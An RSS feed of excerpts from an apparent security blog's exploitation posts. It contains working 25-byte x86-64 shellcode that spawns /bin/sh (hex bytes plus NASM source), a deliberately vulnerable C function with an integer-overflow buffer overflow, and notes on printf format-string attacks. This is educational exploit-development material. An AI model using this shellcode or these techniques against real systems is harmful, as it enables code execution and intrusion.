<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Exploitation on System Overlord</title><link>https://systemoverlord.com/tags/exploitation.html</link><description>Recent content in Exploitation on System Overlord</description><generator>Hugo</generator><language>en-us</language><managingEditor>david@systemoverlord.com (David Tomaschik)</managingEditor><webMaster>david@systemoverlord.com (David Tomaschik)</webMaster><lastBuildDate>Wed, 27 Apr 2016 00:00:00 +0000</lastBuildDate><atom:link href="https://systemoverlord.com/tags/exploitation/index.xml" rel="self" type="application/rss+xml"/><item><title>Even shorter x86-64 shellcode</title><link>https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html</link><pubDate>Wed, 27 Apr 2016 00:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html</guid><description>&lt;p&gt;So about two years ago, I put together the &lt;a href="https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/"&gt;shortest x86-64 shellcode for
&lt;code&gt;execve(&amp;quot;/bin/sh&amp;quot;,...);&lt;/code&gt;&lt;/a&gt; that I could. At the time, it was 25 bytes, which I
thought was pretty damn good. However, I&amp;rsquo;m a perfectionist and so I spent some
time before work this morning playing shellcode golf. The rules of my shellcode
golf are pretty simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The shellcode must produce the desired effect.&lt;/li&gt;
&lt;li&gt;It doesn&amp;rsquo;t have to do things cleanly (i.e., segfaulting after is OK, as is
using APIs in unusual ways, so long as it works)&lt;/li&gt;
&lt;li&gt;It can assume the stack pointer is at a place where it will not segfault and
it will not overwrite the shellcode itself.&lt;/li&gt;
&lt;li&gt;No NULLs. While there might be other constraints, this one is too common to
not have as a default.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, spending a little bit of time on this, I came up with the following 22 byte
shellcode:&lt;/p&gt;</description></item><item><title>Minimal x86-64 shellcode for /bin/sh?</title><link>https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/</link><pubDate>Thu, 05 Jun 2014 01:54:22 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/</guid><description>&lt;p&gt;I was trying to figure out the minimal shellcode necessary to launch /bin/sh from a 64-bit processor, and the smallest I could come up with is 25 bytes: &lt;code&gt;\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This was produced from the following source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BITS 64

main:
 mov rbx, 0xFF978CD091969DD1
 neg rbx
 push rbx
 xor eax, eax
 cdq
 xor esi, esi
 push rsp
 pop rdi
 mov al, 0x3b ; sys_execve
 syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compile with nasm, examine the output with &lt;code&gt;objdump -M intel -b binary -m i386:x86-64 -D shellcode&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Integer Overflow Vulnerabilities</title><link>https://systemoverlord.com/2014/02/27/integer-overflow-vulnerabilities/</link><pubDate>Thu, 27 Feb 2014 04:01:07 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/27/integer-overflow-vulnerabilities/</guid><description>&lt;p&gt;What&amp;rsquo;s wrong with this code (other than the fact the messages are discarded)?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!c
void read_messages(int fd, int num_msgs) {
 char buf[1024];
 size_t msg_len, bytes_read = 0;

 while(num_msgs--) {
 read(fd, &amp;amp;msg_len, sizeof(size_t));
 if (bytes_read + msg_len &amp;gt; sizeof(buf)) {
 printf(&amp;quot;Buffer overflow prevented!\n&amp;quot;);
 return;
 }
 bytes_read += read(fd, buf+bytes_read, msg_len);
 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you answered &amp;ldquo;nothing&amp;rdquo;, you&amp;rsquo;d be missing a significant security issue. In fact, this function contains a trivial buffer overflow. By supplying a length &lt;code&gt;0 &amp;lt; len_a &amp;lt; 1024&lt;/code&gt; for the first message, then a length &lt;code&gt; INT_MAX-len_a ≤ len_b &amp;lt; UINT_MAX&lt;/code&gt;, the value &lt;code&gt;bytes_read + msg_len&lt;/code&gt; wraps around past &lt;code&gt;UINT_MAX&lt;/code&gt; and is less than &lt;code&gt;sizeof(buf)&lt;/code&gt;. Then the read proceeds with its very large value, but can only read as much data as is available on the file descriptor (probably a socket, if this is a remote exploit). So by supplying enough data on the socket, the buffer will be overflowed, allowing to overwrite the saved EIP.&lt;/p&gt;</description></item><item><title>printf Format String Exploitation</title><link>https://systemoverlord.com/2014/02/12/printf-format-string-exploitation/</link><pubDate>Wed, 12 Feb 2014 07:16:01 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/12/printf-format-string-exploitation/</guid><description>&lt;p&gt;The format string in a printf statement is responsible for significant flow control within the program, and, if attacker-controlled, can be used to exploit the application in various ways. Specifically, an attacker can read and write arbitrary memory.&lt;/p&gt;
&lt;p&gt;Reading memory can be accomplished through the usual operators, and the GNU extension of &lt;code&gt;%&amp;lt;x&amp;gt;$&lt;/code&gt; allows you to jump through the stack to arbitrary positions (as a multiple of the addressing size, anyway). The %n format specifier allows to write to a memory address: the address at that point on the stack is taken as an int *, and the number of bytes output so far will be written to the address. So this allows us to write a value by outputting the number of bytes for the value we want to write.&lt;/p&gt;</description></item></channel></rss>